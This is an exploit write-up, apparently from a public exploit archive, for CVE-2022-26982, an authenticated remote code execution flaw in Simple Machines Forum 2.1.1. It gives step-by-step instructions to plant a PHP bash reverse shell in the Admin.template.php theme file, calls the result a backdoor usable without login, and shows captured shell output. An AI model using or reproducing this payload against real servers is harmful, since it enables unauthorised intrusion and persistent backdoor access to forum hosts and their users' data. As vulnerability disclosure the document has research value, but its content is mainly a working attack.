# Exploit Title: SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution # Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane)# Date: 7th March 2022# CVE ID: CVE-2022-26982# Confirmed on release 2.1.1# Vendor: https://download.simplemachines.org/# Note- Once we insert the vulnerable php code, we can even execute it without any valid login as it is not required! We can use it as a backdoor!################################################Step1- Login with Admin Credentials#Step2- Goto Admin=>Main=>Administration Center=>Configuration=>Themes and Layout=>Modify Themes=>Browse the templates and files in this theme.=>Admin.template.php#Step3- Now add the vulnerable php reverse tcp web shell exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.1/4477 0>&1'"); ?>#Step4- Now Goto Add Media=>Add Resource=> Upload php web shell and click on SAVE CHANGES at the bottom of the page#Step5- Now click on "Themes and Layout" and you will get the reverse shell:
E.g: Visit http://IP_ADDR/index.php?action=admin;area=theme;b4c2510f=bc6cde24d794569356b81afc98ede2c2 and get the reverse shell:
listening on [any]4477...
connect to [192.168.56.1]from(UNKNOWN)[192.168.56.130]41276
bash: cannot set terminal process group (1334): Inappropriate ioctl for device
bash: no job control in this shell
daemon@debian:/opt/bitnami/simplemachinesforum$ whoami
whoami
daemon
daemon@debian:/opt/bitnami/simplemachinesforum$ idid
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@debian:/opt/bitnami/simplemachinesforum$
